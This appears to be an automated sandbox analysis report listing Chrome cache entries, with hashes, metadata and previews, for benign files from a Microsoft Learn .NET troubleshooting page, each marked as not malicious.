content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
